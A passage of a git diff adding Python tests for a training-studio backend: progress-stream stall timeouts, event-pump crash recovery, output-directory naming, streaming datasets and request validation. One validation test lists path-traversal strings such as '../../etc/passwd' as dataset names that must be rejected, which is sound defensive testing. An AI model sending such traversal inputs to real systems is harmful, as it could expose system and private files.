return hw.DEVICE + + monkeypatch.delenv("HF_HUB_DISABLE_XET", raising = False) + monkeypatch.delenv("HF_HUB_ENABLE_HF_TRANSFER", raising = False) + monkeypatch.setattr(worker, "_activate_transformers_version_or_warn", fake_activate) + monkeypatch.setattr(hw, "detect_hardware", fake_detect_hardware) + + event_queue = queue.Queue() + worker.run_mlx_training_process( + event_queue = event_queue, + stop_queue = queue.Queue(), + config = {"model_name": "mlx-community/Gemma-4-12B", "disable_xet": True}, + ) + + event = event_queue.get_nowait() + assert order == [("activate", "mlx-community/Gemma-4-12B", None), "detect"] + assert os.environ["HF_HUB_DISABLE_XET"] == "1" + assert os.environ["HF_HUB_ENABLE_HF_TRANSFER"] == "0" + assert "MLX training requires Apple Silicon" in event["error"] + + if __name__ == "__main__": unittest.main() diff --git a/studio/backend/tests/test_training_progress_prep_timeout.py b/studio/backend/tests/test_training_progress_prep_timeout.py new file mode 100644 index 0000000000..28e2ee37b9 --- /dev/null +++ b/studio/backend/tests/test_training_progress_prep_timeout.py @@ -0,0 +1,147 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""The live progress SSE must not time out during the pre-first-step phase. + +A large model load / dataset tokenization can keep a run at step 0 for longer +than the stall timeout. Treating that as a stall ends the live stream and makes a +healthy run look frozen, so the timeout must apply only once the run is stepping. +""" + +import asyncio +import sys +import types + +import pytest + +if "structlog" not in sys.modules: + + class _DummyLogger: + def __getattr__(self, _name): + return lambda *args, **kwargs: None + + sys.modules["structlog"] = types.SimpleNamespace( + BoundLogger = _DummyLogger, + get_logger = lambda *args, **kwargs: _DummyLogger(), + ) + +import routes.training as rt + + +class _Progress: + def __init__( + self, + step = 0, + total_steps = 1000, + ): + self.step = step + self.total_steps = total_steps + self.loss = None + self.learning_rate = None + self.epoch = None + self.grad_norm = None + self.num_tokens = None + self.eval_loss = None + self.elapsed_seconds = None + self.eta_seconds = None + + +class _Backend: + def __init__( + self, + *, + active_polls, + step_history = None, + live_step = 0, + ): + self.current_job_id = "job-prep" + self.step_history = list(step_history or []) + self.loss_history = [1.0 for _ in self.step_history] + self.lr_history = [1e-4 for _ in self.step_history] + self.eval_enabled = False + self._active_calls = 0 + self._active_polls = active_polls + self.trainer = types.SimpleNamespace(training_progress = _Progress(step = live_step)) + + def is_training_active(self): + self._active_calls += 1 + return self._active_calls <= self._active_polls + + +class _FakeRequest: + headers = {} + + async def is_disconnected(self): + return False + + +class _ReconnectRequest: + # Reconnect carrying the last step the client already received. + headers = {"last-event-id": "10"} + + async def is_disconnected(self): + return False + + +def _raw(response): + async def _drain(): + chunks = [] + async for chunk in response.body_iterator: + chunks.append(chunk) + return "".join(c.decode() if isinstance(c, bytes) else c for c in chunks) + + return asyncio.run(asyncio.wait_for(_drain(), 15)) + + +@pytest.fixture +def _fast_short_timeout(monkeypatch): + """Make the poll loop instant and the stall timeout tiny.""" + + async def _no_sleep(*_a, **_k): + return None + + monkeypatch.setattr(rt.asyncio, "sleep", _no_sleep) + monkeypatch.setattr(rt, "_PROGRESS_STALL_TIMEOUT_POLLS", 3) + + +def test_prep_phase_does_not_time_out_before_first_step(monkeypatch, _fast_short_timeout): + # Step 0 for many polls (far past the timeout), then the run ends. Pre-step + # this is preparation, not a stall: no error event may be emitted. + backend = _Backend(active_polls = 20, step_history = [], live_step = 0) + monkeypatch.setattr(rt, "get_training_backend", lambda: backend) + + raw = _raw(asyncio.run(rt.stream_training_progress(_FakeRequest(), current_subject = "tester"))) + + assert ( + backend._active_calls > rt._PROGRESS_STALL_TIMEOUT_POLLS + 1 + ), "the loop must have run past the stall threshold for this test to be meaningful" + assert "event: heartbeat" in raw, "prep heartbeats should still flow" + assert "event: error" not in raw, "a still-preparing run must not be timed out as a stall" + + +def test_stall_after_first_step_still_times_out(monkeypatch, _fast_short_timeout): + # Emits a live step (so seen_live_step becomes True) then stays put: a genuine + # post-step stall that must still trigger the timeout error. + backend = _Backend(active_polls = 100, step_history = [1, 2], live_step = 5) + monkeypatch.setattr(rt, "get_training_backend", lambda: backend) + + raw = _raw(asyncio.run(rt.stream_training_progress(_FakeRequest(), current_subject = "tester"))) + + assert "event: error" in raw, "a real post-step stall should still time out" + + +def test_reconnect_to_stepped_run_still_times_out(monkeypatch, _fast_short_timeout): + # Client reconnects at step 10 (Last-Event-ID) to a run that already stepped + # then hangs (only heartbeats): the post-step stall timeout must still fire. + # Without seeding seen_live_step from the resume point it resets to False and + # never times out for this client. + backend = _Backend(active_polls = 100, step_history = [10], live_step = 10) + monkeypatch.setattr(rt, "get_training_backend", lambda: backend) + + raw = _raw( + asyncio.run(rt.stream_training_progress(_ReconnectRequest(), current_subject = "tester")) + ) + + assert ( + "event: error" in raw + ), "a reconnect to an already-stepped run that then stalls must still time out" diff --git a/studio/backend/tests/test_training_progress_stream_nan.py b/studio/backend/tests/test_training_progress_stream_nan.py index 899527a04d..5cd84bbca5 100644 --- a/studio/backend/tests/test_training_progress_stream_nan.py +++ b/studio/backend/tests/test_training_progress_stream_nan.py @@ -62,6 +62,16 @@ class _FakeBackend: class _FakeRequest: headers = {} + async def is_disconnected(self): + return False + + +class _DisconnectedRequest: + headers = {} + + async def is_disconnected(self): + return True + def _collect_events(response, timeout = 15): async def _drain(): @@ -116,6 +126,20 @@ def test_inactive_stream_completes_with_live_step_and_null_loss(monkeypatch): assert final["loss"] is None +def test_disconnect_while_active_does_not_emit_complete(monkeypatch): + # Client drops mid-run: the stream must end without a terminal "complete" + # frame, which a buffered/proxy consumer could otherwise read as a finished + # run while training is still active. + backend = _FakeBackend(active_polls = 5) + monkeypatch.setattr(rt, "get_training_backend", lambda: backend) + + response = asyncio.run( + rt.stream_training_progress(_DisconnectedRequest(), current_subject = "tester") + ) + raw = _collect_events(response) + assert "event: complete" not in raw + + def test_stream_uses_finite_history_when_progress_in_sync(monkeypatch): backend = _FakeBackend(active_polls = 2) # Live progress agrees with the history tail: normal finite behavior. diff --git a/studio/backend/tests/test_training_pump_resilience.py b/studio/backend/tests/test_training_pump_resilience.py new file mode 100644 index 0000000000..d75b205f35 --- /dev/null +++ b/studio/backend/tests/test_training_pump_resilience.py @@ -0,0 +1,494 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Parent-side training event-pump resilience. + +The pump is the only writer of the progress state /progress, /status, /metrics +and DB history read. If it died while the worker ran, the run would continue while +the UI froze -- the "training runs but no progress shows" symptom. These tests pin +two guards: a bad event/queue error can't kill the pump, and a dead pump is +detected and restarted (even after worker exit) so terminal events still finalize. +Fakes only; no GPU, network, or subprocess. +""" + +from __future__ import annotations + +import contextlib +import logging +import queue +import sys +import threading +import time +import types as _types +from pathlib import Path + +import pytest + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +# Stub the heavy module-level imports of core/training/training.py so it imports +# under CPU-only/no-network, then restore them (see the restore loop below). +_SAVED: dict = {} + + +def _stub(name, mod): + _SAVED[name] = sys.modules.get(name) + sys.modules[name] = mod + + +_lg = _types.ModuleType("loggers") +_lg.get_logger = lambda name: logging.getLogger(name) +_stub("loggers", _lg) +_stub("structlog", _types.ModuleType("structlog")) +_mpl = _types.ModuleType("matplotlib") +_plt = _types.ModuleType("matplotlib.pyplot") +_plt.Figure = type("Figure", (), {}) # referenced in a class-def annotation +_mpl.pyplot = _plt +_stub("matplotlib", _mpl) +_stub("matplotlib.pyplot", _plt) +_hw = _types.ModuleType("utils.hardware") +_hw.prepare_gpu_selection = lambda *a, **k: (None, None) +_stub("utils.hardware", _hw) +_npl = _types.ModuleType("utils.native_path_leases") +_npl.native_path_secret_removed_for_child_start = lambda: contextlib.nullcontext() +_npl.run_without_native_path_secret = lambda fn: fn +_stub("utils.native_path_leases", _npl) +_pth = _types.ModuleType("utils.paths") +_pth.outputs_root = lambda *a, **k: "/tmp/outputs" +_stub("utils.paths", _pth) + +# Whether core.training.training was already imported before this file ran; only +# evict it below if we were the one to create the (stub-bound) module instance. +_TRAINING_PRE_IMPORTED = "core.training.training" in sys.modules + +from core.training.training import TrainingBackend + +# Restore every stubbed module so this file never pollutes the shared session. +for _name in ( + "loggers", + "structlog", + "matplotlib", + "matplotlib.pyplot", + "utils.hardware", + "utils.native_path_leases", + "utils.paths", +): + _prev = _SAVED.get(_name) + if _prev is None: + sys.modules.pop(_name, None) + else: + sys.modules[_name] = _prev + +# training imported its helpers while the stubs were active, binding them to stubs. +# If we created the cached module, evict it (and its parent) so a later test +# re-imports the real one. +if not _TRAINING_PRE_IMPORTED: + sys.modules.pop("core.training.training", None) + sys.modules.pop("core.training", None) + + +class _FakeProc: + """A subprocess handle whose liveness the test drives directly.""" + + def __init__(self, alive: bool = True): + self._alive = alive + self.pid = 4321 + + def is_alive(self): + return self._alive + + def join(self, timeout = None): + self._alive = False + + +class _IdleQueue: + """get()/get_nowait() always signal "no event" so the pump idles.""" + + def put(self, *a, **k): + pass + + def get(self, *a, **k): + raise queue.Empty + + def get_nowait(self, *a, **k): + raise queue.Empty + + +class _ScriptedQueue: + """Yields queued events once, then signals empty forever.""" + + def __init__(self, events): + self._events = list(events) + + def put(self, *a, **k): + pass + + def get(self, *a, **k): + if self._events: + return self._events.pop(0) + raise queue.Empty + + def get_nowait(self, *a, **k): + if self._events: + return self._events.pop(0) + raise queue.Empty + + +def _dead_thread() -> threading.Thread: + t = threading.Thread(target = lambda: None) + t.start() + t.join() + return t + + +def _silence_db(monkeypatch, b): + """Neutralize DB finalization so a started pump exits cleanly off-box.""" + monkeypatch.setattr(b, "_ensure_db_run_created", lambda: None) + monkeypatch.setattr(b, "_finalize_run_in_db", lambda **k: None) + + +def _wait_until(predicate, timeout = 5.0): + deadline = time.time() + timeout + while time.time() < deadline: + if predicate(): + return True + time.sleep(0.01) + return predicate() + + +# ---------------------------------------------------------------------------- +# Guarantee 1: a single bad event/queue error cannot kill the pump. +# ---------------------------------------------------------------------------- + + +def test_pump_survives_handler_exception_and_keeps_processing(monkeypatch): + b = TrainingBackend() + _silence_db(monkeypatch, b) + handled: list = [] + + def fake_handle(ev): + if ev.get("type") == "boom": + raise RuntimeError("handler blew up") + handled.append(ev.get("type")) + + monkeypatch.setattr(b, "_handle_event", fake_handle) + + proc = _FakeProc(alive = True) + b._proc = proc + b._event_queue = _ScriptedQueue( + [{"type": "boom"}, {"type": "progress"}, {"type": "boom"}, {"type": "progress"}] + ) + + pump = threading.Thread(target = b._pump_loop, daemon = True) + pump.start() + try: + assert _wait_until( + lambda: handled.count("progress") == 2 + ), "pump must keep processing good events after handler exceptions" + assert pump.is_alive(), "pump thread must survive handler exceptions" + assert b._pump_running is True + finally: + proc._alive = False # let the loop reach its clean exit + pump.join(timeout = 5) + + assert not pump.is_alive() + assert b._pump_running is False, "clean exit must clear the running flag" + + +def test_read_queue_narrow_contract(): + class _Q: + def __init__(self, exc): + self.exc = exc + + def get(self, *a, **k): + raise self.exc + + # Expected closed/broken-queue signals read as "no event". + for exc in (queue.Empty(), EOFError(), OSError(), ValueError()): + assert TrainingBackend._read_queue(_Q(exc), 0.01) is None + + # Anything unexpected propagates on purpose to _pump_loop's guarded block, + # which logs and backs off instead of swallowing it into a hot loop. + with pytest.raises(RuntimeError): + TrainingBackend._read_queue(_Q(RuntimeError("boom")), 0.01) + + +def test_pump_survives_queue_read_exception_and_recovers(monkeypatch): + # _read_queue raising an unexpected error must be caught by the pump's outer + # guard (log + backoff), not kill the pump; once reads recover it processes. + b = TrainingBackend() + _silence_db(monkeypatch, b) + handled: list = [] + monkeypatch.setattr(b, "_handle_event", lambda ev: handled.append(ev.get("type"))) + + class _FlakyQueue: + def __init__(self): + self.calls = 0 + + def get(self, *a, **k): + self.calls += 1 + if self.calls <= 3: + raise RuntimeError("transient queue read error") + if self.calls == 4: + return {"type": "progress", "step": 1} + raise queue.Empty + + def get_nowait(self, *a, **k): + raise queue.Empty + + proc = _FakeProc(alive = True) + b._proc = proc + b._event_queue = _FlakyQueue() + + pump = threading.Thread(target = b._pump_loop, daemon = True) + pump.start() + try: + assert _wait_until( + lambda: handled == ["progress"] + ), "pump must recover after read errors and process the next event" + assert pump.is_alive() + finally: + proc._alive = False + pump.join(timeout = 5) + + +def test_pump_finalizes_when_drain_queue_raises_unexpected_error(monkeypatch): + # Worker has exited; the final drain hits an unexpected error. The run must + # still be finalized (not wedged "active" with a dead worker). + b = TrainingBackend() + finalized: dict = {} + monkeypatch.setattr(b, "_ensure_db_run_created", lambda: None) + monkeypatch.setattr(b, "_finalize_run_in_db", lambda **kw: finalized.update(kw)) + + class _BadDrainQueue: + def get(self, *a, **k): + raise queue.Empty + + def get_nowait(self, *a, **k): + raise RuntimeError("corrupt drain payload") + + b._proc = _FakeProc(alive = False) + b._event_queue = _BadDrainQueue() + b._progress.is_training = True + + b._pump_loop() # returns once it sees the dead worker + + assert b._progress.is_training is False + assert b._progress.error == "Training process exited unexpectedly" + assert finalized.get("status") == "error" + assert b._pump_running is False + assert b.is_training_active() is False + + +def test_pump_finalizes_when_read_keeps_raising_on_dead_worker(monkeypatch): + # An unexpected error escapes _read_queue to the pump's outer guard; if it + # keeps raising after worker exit, the loop must still finalize, not spin. + b = TrainingBackend() + finalized: dict = {} + monkeypatch.setattr(b, "_ensure_db_run_created", lambda: None) + monkeypatch.setattr(b, "_finalize_run_in_db", lambda **kw: finalized.update(kw)) + + class _BrokenReadQueue: + def get(self, *a, **k): + raise RuntimeError("broken queue pipe") + + def get_nowait(self, *a, **k): + raise queue.Empty + + b._proc = _FakeProc(alive = False) + b._event_queue = _BrokenReadQueue() + b._progress.is_training = True + + pump = threading.Thread(target = b._pump_loop, daemon = True) + pump.start() + pump.join(timeout = 5) + assert not pump.is_alive(), "pump must finalize a dead worker even when reads keep raising" + assert b._progress.is_training is False + assert finalized.get("status") == "error" + assert b._pump_running is False + + +def test_start_training_clears_stale_pump_running_flag(): + # A prior pump that died abnormally leaves _pump_running True. The next + # start_training must clear it during reset so the start-time watchdog can't + # treat the fresh setup as a recoverable crash and spawn a duplicate pump. + b = TrainingBackend() + b._pump_running = True + b._pump_thread = None + b._proc = None + + # No model_name -> start_training bails at kwargs["model_name"] (KeyError), + # but only AFTER the reset block that clears the stale flag. + with pytest.raises(KeyError): + b.start_training("job_stale_flag_test") + + assert b._pump_running is False + + +# ---------------------------------------------------------------------------- +# Guarantee 2: a pump that dies while the worker runs is detected + restarted. +# ---------------------------------------------------------------------------- + + +def test_ensure_pump_alive_restarts_crashed_pump(monkeypatch): + b = TrainingBackend() + _silence_db(monkeypatch, b) + b._proc = _FakeProc(alive = True) + b._event_queue = _IdleQueue() + b._pump_running = True # a pump started, then died abnormally + dead = _dead_thread() + b._pump_thread = dead + + assert b._ensure_pump_alive() is True + try: + assert b._pump_thread is not dead + assert b._pump_thread.is_alive(), "a fresh pump must be running" + finally: + b._proc._alive = False + b._pump_thread.join(timeout = 5) + + +def test_ensure_pump_alive_noop_when_pump_alive(): + b = TrainingBackend() + b._proc = _FakeProc(alive = True) + b._event_queue = _IdleQueue() + b._pump_running = True + release = threading.Event() + alive = threading.Thread(target = release.wait, daemon = True) + alive.start() + b._pump_thread = alive + try: + assert b._ensure_pump_alive() is False + assert b._pump_thread is alive + finally: + release.set() + alive.join(timeout = 5) + + +def test_ensure_pump_alive_revives_crashed_pump_after_worker_exit(monkeypatch): + # True _pump_running + dead thread = a crash (the loop clears the flag on + # intended exits). The queue may still hold terminal events, so the pump must + # restart to drain and finalize, else the run is stuck "running" forever. + b = TrainingBackend() + _silence_db(monkeypatch, b) + b._proc = _FakeProc(alive = False) + b._event_queue = _IdleQueue() + b._progress.is_training = True + b._pump_running = True + b._pump_thread = _dead_thread() + + assert b._ensure_pump_alive() is True + assert _wait_until( + lambda: b._progress.is_training is False + ), "the restarted pump must drain + finalize the stranded run" + b._pump_thread.join(timeout = 5) + assert b._pump_running is False + assert b.is_training_active() is False + + +def test_ensure_pump_alive_noop_during_setup(): + # _pump_running is False between state-reset and the first pump actually + # running; the watchdog must not race in and spawn a rogue pump. + b = TrainingBackend() + b._proc = _FakeProc(alive = True) + b._event_queue = _IdleQueue() + b._pump_running = False + b._pump_thread = None + assert b._ensure_pump_alive() is False + assert b._pump_thread is None + + +def test_is_training_active_revives_dead_pump(monkeypatch): + b = TrainingBackend() + _silence_db(monkeypatch, b) + b._proc = _FakeProc(alive = True) + b._event_queue = _IdleQueue() + b._pump_running = True + dead = _dead_thread() + b._pump_thread = dead + + # The status poll the SSE stream makes every second both reports activity + # and heals the dead pump as a side effect. + assert b.is_training_active() is True + try: + assert b._pump_thread is not dead + assert b._pump_thread.is_alive() + finally: + b._proc._alive = False + b._pump_thread.join(timeout = 5) + + +# ---------------------------------------------------------------------------- +# Guarantee 3: the DB run row exists before the pump consumes any event. +# ---------------------------------------------------------------------------- + + +def _stub_spawn(monkeypatch): + """Stub start_training's spawn surface (GPU pick, mp context, worker).""" + g = TrainingBackend.start_training.__globals__ + + class _SpawnProc: + pid = 4321 + + def start(self): + pass + + def is_alive(self): + return True + + class _Ctx: + def Queue(self): + return _IdleQueue() + + def Process(self, **k): + return _SpawnProc() + + # _CTX / prepare_gpu_selection resolve from the module globals; patch the + # function's own globals so the eviction of core.training.training (done at + # this test module's import for isolation) can't hand us a different copy. + monkeypatch.setitem(g, "_CTX", _Ctx()) + monkeypatch.setitem(g, "prepare_gpu_selection", lambda *a, **k: (None, None)) + + hw = _types.ModuleType("utils.hardware") + hw.prepare_gpu_selection = lambda *a, **k: (None, None) + hw.hardware = type("HW", (), {"DEVICE": "cuda", "DeviceType": type("D", (), {"MLX": "mlx"})})() + monkeypatch.setitem(sys.modules, "utils.hardware", hw) + + pl = _types.ModuleType("utils.process_lifetime") + pl.adopt_pid = lambda pid: None + monkeypatch.setitem(sys.modules, "utils.process_lifetime", pl) + + worker = _types.ModuleType("core.training.worker") + worker.run_training_process = lambda **k: None + monkeypatch.setitem(sys.modules, "core.training.worker", worker) + + +def test_db_run_created_before_pump_consumes_events(monkeypatch): + # A fast terminal worker must not race the pump into creating the DB row: by + # the time the pump runs, start_training has already created it. The create + # sleep widens the window so the ordering is observed, not luck. + b = TrainingBackend() + _stub_spawn(monkeypatch) + + def slow_create(): + time.sleep(0.05) + b._db_run_created = True + + seen = {} + + def fake_pump(): + seen["db_created"] = b._db_run_created + b._pump_running = False + + monkeypatch.setattr(b, "_ensure_db_run_created", slow_create) + monkeypatch.setattr(b, "_pump_loop", fake_pump) + + assert b.start_training("job_db_order", model_name = "m") is True + if b._pump_thread is not None: + b._pump_thread.join(timeout = 2.0) + + # The pump observed an already-created run; it would be False if the pump + # were started before the eager create. + assert seen["db_created"] is True diff --git a/studio/backend/tests/test_training_runs.py b/studio/backend/tests/test_training_runs.py new file mode 100644 index 0000000000..fd0d6d380f --- /dev/null +++ b/studio/backend/tests/test_training_runs.py @@ -0,0 +1,103 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import json + +from storage.studio_db import _extract_project_name_from_config_json +from utils.training_runs import ( + build_default_output_dir_name, + model_segment_from_default_output_dir_name, + normalize_project_name, + slugify_project_name, +) + + +def test_normalize_project_name_trims_and_collapses_whitespace(): + assert normalize_project_name(" Customer Support LoRA ") == "Customer Support LoRA" + + +def test_normalize_project_name_returns_none_for_empty_or_invalid_values(): + assert normalize_project_name(" ") is None + assert normalize_project_name(None) is None + + +def test_slugify_project_name_makes_safe_suffix(): + assert slugify_project_name("Customer Support / LoRA v2") == "customer-support-lora-v2" + + +def test_slugify_project_name_rejects_path_only_or_separator_only_values(): + assert slugify_project_name("..") is None + assert slugify_project_name("///") is None + + +def test_build_default_output_dir_name_appends_project_slug(): + output_dir = build_default_output_dir_name( + "unsloth/Llama-3.2-3B-Instruct", + "Customer Support", + timestamp = 1771227800, + ) + + assert output_dir == "unsloth_Llama-3.2-3B-Instruct__project-customer-support_1771227800" + + +def test_build_default_output_dir_name_caps_final_component(tmp_path): + output_dir = build_default_output_dir_name( + "a" * 240, + "b" * 80, + timestamp = 1771227800, + ) + + assert len(output_dir.encode()) <= 255 + (tmp_path / output_dir).mkdir() + + +def test_build_default_output_dir_name_skips_invalid_project_slug(): + output_dir = build_default_output_dir_name( + "unsloth/Llama-3.2-3B-Instruct", + "..", + timestamp = 1771227800, + ) + + assert output_dir == "unsloth_Llama-3.2-3B-Instruct_1771227800" + + +def test_model_segment_from_default_output_dir_name_strips_project_slug(): + assert ( + model_segment_from_default_output_dir_name( + "unsloth_Llama-3.2-3B-Instruct__project-customer-support_1771227800" + ) + == "unsloth_Llama-3.2-3B-Instruct" + ) + + +def test_model_segment_preserves_project_marker_text_in_model_name(): + output_dir = build_default_output_dir_name( + "org/foo__project-bar", + timestamp = 1771227800, + ) + + assert output_dir == "org_foo__project--bar_1771227800" + assert model_segment_from_default_output_dir_name(output_dir) == "org_foo__project-bar" + + +def test_model_segment_strips_project_slug_after_escaped_model_marker(): + output_dir = build_default_output_dir_name( + "org/foo__project-bar", + "Customer Support", + timestamp = 1771227800, + ) + + assert output_dir == "org_foo__project--bar__project-customer-support_1771227800" + assert model_segment_from_default_output_dir_name(output_dir) == "org_foo__project-bar" + + +def test_extract_project_name_from_config_json_returns_normalized_name(): + config_json = json.dumps({"project_name": " Sales Assistant "}) + + assert _extract_project_name_from_config_json(config_json) == "Sales Assistant" + + +def test_extract_project_name_from_config_json_handles_missing_or_invalid_payload(): + assert _extract_project_name_from_config_json(None) is None + assert _extract_project_name_from_config_json("not-json") is None + assert _extract_project_name_from_config_json(json.dumps({"project_name": " "})) is None diff --git a/studio/backend/tests/test_training_streaming.py b/studio/backend/tests/test_training_streaming.py new file mode 100644 index 0000000000..70b2d6fdcc --- /dev/null +++ b/studio/backend/tests/test_training_streaming.py @@ -0,0 +1,570 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +from __future__ import annotations + +import asyncio +import importlib.util +from pathlib import Path +from types import SimpleNamespace +from unittest.mock import patch + +import pytest +from fastapi import HTTPException +from pydantic import ValidationError + +from models.training import TrainingStartRequest +from utils.datasets.chat_templates import apply_chat_template_to_dataset +from utils.datasets.format_conversion import convert_chatml_to_alpaca +from utils.datasets.iterable import is_streaming_dataset + +datasets = pytest.importorskip("datasets") + +_BACKEND_ROOT = Path(__file__).resolve().parent.parent + + +def _load_route_module(name: str, relative_path: str): + spec = importlib.util.spec_from_file_location(name, _BACKEND_ROOT / relative_path) + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + return module + + +class _Tokenizer: + eos_token = "" + chat_template = "{{ messages }}" + + def apply_chat_template( + self, + conversation, + *, + tokenize = False, + add_generation_prompt = False, + ): + assert tokenize is False + assert add_generation_prompt is False + return "\n".join(f"{message['role']}: {message['content']}" for message in conversation) + + +def _iterable_dataset(rows): + return datasets.IterableDataset.from_generator(lambda: iter(rows)) + + +# --- Streaming keeps dataset.map() lazy: eager-only kwargs (num_proc/desc) are +# omitted for IterableDatasets, which reject them. One per module. --- + + +def test_chat_template_mapping_omits_eager_kwargs_for_streaming(monkeypatch): + seen_kwargs = [] + original_map = datasets.IterableDataset.map + + def spy_map(self, *args, **kwargs): + seen_kwargs.append(dict(kwargs)) + return original_map(self, *args, **kwargs) + + monkeypatch.setattr(datasets.IterableDataset, "map", spy_map) + + dataset = _iterable_dataset( + [ + { + "conversations": [ + {"role": "user", "content": "Hi"}, + {"role": "assistant", "content": "Hello"}, + ] + } + ] + ) + result = apply_chat_template_to_dataset( + { + "dataset": dataset, + "final_format": "chatml_conversations", + "chat_column": "conversations", + "is_standardized": True, + }, + tokenizer = _Tokenizer(), + batch_size = 1, + num_proc = 2, + ) + + assert result["success"] is True + row = next(iter(result["dataset"])) + assert "user: Hi" in row["text"] + assert seen_kwargs + assert all("num_proc" not in kwargs for kwargs in seen_kwargs) + assert all("desc" not in kwargs for kwargs in seen_kwargs) + + +def test_format_conversion_omits_eager_kwargs_for_streaming(monkeypatch): + seen_kwargs = [] + original_map = datasets.IterableDataset.map + + def spy_map(self, *args, **kwargs): + seen_kwargs.append(dict(kwargs)) + return original_map(self, *args, **kwargs) + + monkeypatch.setattr(datasets.IterableDataset, "map", spy_map) + + converted = convert_chatml_to_alpaca( + _iterable_dataset( + [ + { + "conversations": [ + {"from": "human", "value": "Question"}, + {"from": "gpt", "value": "Answer"}, + ] + } + ] + ), + batch_size = 1, + num_proc = 2, + ) + + row = next(iter(converted)) + assert row["instruction"] == "Question" + assert row["output"] == "Answer" + assert seen_kwargs + assert all("num_proc" not in kwargs for kwargs in seen_kwargs) + assert all("desc" not in kwargs for kwargs in seen_kwargs) + + +# --- Streaming detection --- + + +def test_is_streaming_dataset_detects_hf_iterable(): + assert is_streaming_dataset(_iterable_dataset([{"a": 1}])) is True + + +def test_is_streaming_dataset_false_for_plain_list(): + assert is_streaming_dataset([{"a": 1}]) is False + + +# --- Raw-text / CPT streaming: keep the lazy filter, skip the len()-based +# counting that would TypeError on an IterableDataset (the BLOCKER fix). --- + + +def test_drop_invalid_text_rows_streaming_keeps_filter_skips_len(): + from utils.datasets.raw_text import _drop_invalid_text_rows + + stream = datasets.Dataset.from_list( + [{"text": "keep1"}, {"text": None}, {"text": "keep2"}] + ).to_iterable_dataset() + assert not hasattr(stream, "__len__") + + filtered, notices = _drop_invalid_text_rows( + stream, mode_title = "Raw text", split_scope = "this dataset" + ) + + # Result still streams; only string-'text' rows survive. + assert [row["text"] for row in filtered] == ["keep1", "keep2"] + assert any(n.level == "info" for n in notices) + + +# --- Request validation --- + + +def test_dataset_slice_bounds_are_non_negative(): + with pytest.raises(ValidationError): + TrainingStartRequest( + model_name = "unsloth/test", + training_type = "LoRA/QLoRA", + format_type = "alpaca", + dataset_slice_start = -1, + ) + + with pytest.raises(ValidationError): + TrainingStartRequest( + model_name = "unsloth/test", + training_type = "LoRA/QLoRA", + format_type = "alpaca", + dataset_slice_start = 5, + dataset_slice_end = 4, + ) + + +@pytest.mark.parametrize( + "bad_hf_dataset", + ["../../etc/passwd", "org/../../secret", "a" * 257], +) +def test_hf_dataset_rejects_unsafe_values(bad_hf_dataset): + with pytest.raises(ValidationError): + TrainingStartRequest( + model_name = "unsloth/test", + training_type = "LoRA/QLoRA", + format_type = "alpaca", + hf_dataset = bad_hf_dataset, + ) + + +def test_project_name_rejects_values_over_ui_limit(): + with pytest.raises(ValidationError): + TrainingStartRequest( + model_name = "unsloth/test", + project_name = "x" * 81, + training_type = "LoRA/QLoRA", + format_type = "alpaca", + ) + + +# --- Start-route streaming compatibility guards --- + + +def test_streaming_start_rejects_train_on_completions_before_backend_start(): + training_route = _load_route_module( + "training_route_module_for_streaming_completion_test", + "routes/training.py", + ) + request = TrainingStartRequest( + model_name = "unsloth/test", + training_type = "LoRA/QLoRA", + hf_dataset = "org/dataset", + format_type = "chatml", + dataset_streaming = True, + train_on_completions = True, + max_steps = 10, + ) + + backend = SimpleNamespace( + current_job_id = None, + is_training_active = lambda: False, + start_training = lambda **kwargs: pytest.fail("backend should not start"), + ) + + with patch.object(training_route, "get_training_backend", return_value = backend): + with pytest.raises(HTTPException) as exc_info: + asyncio.run(training_route.start_training(request, current_subject = "test-user")) + + assert exc_info.value.status_code == 422 + assert "train_on_completions" in exc_info.value.detail + + +@pytest.mark.parametrize("eval_split", [None, "train"]) +def test_streaming_start_requires_separate_eval_split(eval_split): + training_route = _load_route_module( + "training_route_module_for_streaming_eval_test", + "routes/training.py", + ) + request = TrainingStartRequest( + model_name = "unsloth/test", + training_type = "LoRA/QLoRA", + hf_dataset = "org/dataset", + format_type = "chatml", + dataset_streaming = True, + train_split = "train", + eval_split = eval_split, + eval_steps = 0.1, + max_steps = 10, + ) + + backend = SimpleNamespace( + current_job_id = None, + is_training_active = lambda: False, + start_training = lambda **kwargs: pytest.fail("backend should not start"), + ) + + with patch.object(training_route, "get_training_backend", return_value = backend): + with pytest.raises(HTTPException) as exc_info: + asyncio.run(training_route.start_training(request, current_subject = "test-user")) + + assert exc_info.value.status_code == 422 + assert "separate eval_split" in exc_info.value.detail + + +def test_streaming_start_rejects_missing_max_steps(): + training_route = _load_route_module( + "training_route_module_for_streaming_max_steps_test", + "routes/training.py", + ) + request = TrainingStartRequest( + model_name = "unsloth/test", + training_type = "LoRA/QLoRA", + hf_dataset = "org/dataset", + format_type = "chatml", + dataset_streaming = True, + max_steps = 0, + ) + + backend = SimpleNamespace( + current_job_id = None, + is_training_active = lambda: False, + start_training = lambda **kwargs: pytest.fail("backend should not start"), + ) + + with patch.object(training_route, "get_training_backend", return_value = backend): + with pytest.raises(HTTPException) as exc_info: + asyncio.run(training_route.start_training(request, current_subject = "test-user")) + + assert exc_info.value.status_code == 422 + assert "max_steps" in exc_info.value.detail + + +def test_streaming_start_rejects_embedding_models(): + # The embedding training path loads the full dataset (no streaming) and uses + # len/select, so the route must reject streaming for embedding runs even on a + # direct API call (the UI blocker doesn't cover that). + training_route = _load_route_module( + "training_route_module_for_streaming_embedding_test", + "routes/training.py", + ) + request = TrainingStartRequest( + model_name = "unsloth/test", + training_type = "LoRA/QLoRA", + hf_dataset = "org/dataset", + format_type = "chatml", + dataset_streaming = True, + is_embedding = True, + max_steps = 10, + ) + + backend = SimpleNamespace( + current_job_id = None, + is_training_active = lambda: False, + start_training = lambda **kwargs: pytest.fail("backend should not start"), + ) + + with 